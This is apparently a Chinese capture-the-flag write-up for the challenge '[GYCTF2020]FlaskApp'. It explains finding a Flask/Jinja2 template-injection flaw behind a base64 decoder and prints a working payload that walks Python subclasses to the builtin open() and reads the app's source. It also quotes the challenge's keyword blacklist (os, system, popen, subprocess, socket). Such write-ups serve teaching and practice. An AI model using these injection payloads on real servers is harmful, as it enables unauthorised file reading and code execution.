[GYCTF2020]FlaskApp
先得到{
{7*7}}的base64加密字符串,然后解密,输出no no no,看样子是被过滤了,这里可能有SSTI模板注入,主要是看怎么绕过过滤
随便输入字符串让base64解密报错得到文件位置/usr/local/lib/python3.7/site-packages/flask/app.py
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{
% endif %}{
% endfor %}
还是把这串命令加密一下然后解密,得到源码
可以在里面找到waf,过滤了很多字符。也可以找到执行我们输入的base64字符串的代码,通过GET方法将输入的字符串保存在txt中,如果解密后绕过了waf,则执行flash().
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() : return 1
@app.route('/decode';,methods=['POST','GET'])
def decode():
if request.values.get('text')